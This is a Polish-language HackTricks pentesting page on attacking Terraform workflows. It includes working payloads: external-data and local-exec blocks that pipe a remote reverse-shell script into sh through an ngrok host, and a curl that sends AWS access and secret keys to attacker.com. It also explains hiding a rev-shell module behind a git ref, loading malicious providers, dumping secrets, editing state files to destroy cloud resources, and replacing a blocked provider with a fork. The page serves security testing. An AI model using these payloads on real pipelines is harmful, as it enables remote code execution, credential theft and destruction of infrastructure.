Terraform Security

Support HackTricks

Podstawowe informacje

Z dokumentacji:

HashiCorp Terraform to narzędzie do infrastruktury jako kodu, które pozwala definiować zarówno zasoby w chmurze, jak i lokalne w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.

Jak działa Terraform?

Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.

HashiCorp i społeczność Terraform już napisały ponad 1700 dostawców, aby zarządzać tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w Terraform Registry, w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.

Podstawowy przepływ pracy Terraform składa się z trzech etapów:

  • Napisz: Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.

  • Zaplanuj: Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.

  • Zastosuj: Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.

Laboratorium Terraform

Po prostu zainstaluj terraform na swoim komputerze.

Tutaj masz przewodnik, a tutaj masz najlepszy sposób na pobranie terraform.

RCE w Terraform

Terraform nie ma platformy, która udostępnia stronę internetową lub usługę sieciową, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest możliwość dodawania/modyfikowania plików konfiguracyjnych terraform.

Jednak terraform jest bardzo wrażliwym komponentem do skompromitowania, ponieważ będzie miał uprzywilejowany dostęp do różnych lokalizacji, aby mógł działać poprawnie.

Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest skomprimitowanie repozytorium, które przechowuje konfiguracje terraform, ponieważ w pewnym momencie będą one interpretowane.

W rzeczywistości istnieją rozwiązania, które automatycznie wykonują terraform plan/apply po utworzeniu PR, takie jak Atlantis:

Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona terraform plan lub terraform apply.

Terraform plan

Terraform plan to najczęściej używane polecenie w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc najłatwiejszym sposobem na uzyskanie RCE jest upewnienie się, że zanieczyszczasz plik konfiguracyjny terraform, który wykona dowolne polecenia w terraform plan.

Używając zewnętrznego dostawcy

Terraform oferuje external provider, który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych external, aby uruchomić dowolny kod podczas plan.

Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Używanie niestandardowego dostawcy

Napastnik mógłby wysłać niestandardowego dostawcę do Terraform Registry i następnie dodać go do kodu Terraform w gałęzi funkcji (przykład stąd):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Dostawca jest pobierany w init i uruchomi złośliwy kod, gdy plan zostanie wykonany

Możesz znaleźć przykład w https://github.com/rung/terraform-provider-cmdexec

Używanie zewnętrznego odniesienia

Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w bardziej dyskretny sposób, stosując się do tych sugestii:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod rev shell w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zasobie zewnętrznym użyj funkcji ref, aby ukryć kod rev shell Terraform w gałęzi wewnątrz repozytorium, coś takiego jak: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując złośliwy plik Terraform z local-exec. Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z zaleceniami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej ukryty sposób, używając zewnętrznych odniesień.

Zrzuty sekretów

Możesz mieć wartości sekretów używanych przez terraform zrzucane uruchamiając terraform apply, dodając do pliku terraform coś takiego:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Wykorzystywanie plików stanu Terraform

W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, te badania oferują kilka interesujących opcji, aby skorzystać z pliku:

Usuwanie zasobów

Istnieją 2 sposoby na zniszczenie zasobów:

  1. Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia

Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)

Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.

RCE

Możliwe jest również utworzenie niestandardowego dostawcy i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Zastąpienie zablokowanego dostawcy

W przypadku napotkania sytuacji, w której hashicorp/external został zablokowany, możesz ponownie zaimplementować dostawcę external, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Następnie możesz użyć external jak zwykle.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Narzędzia audytowe

  • tfsec: tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.

  • terascan: Terrascan to statyczny analizator kodu dla Infrastructure as Code.

Odniesienia

Wsparcie HackTricks

Last updated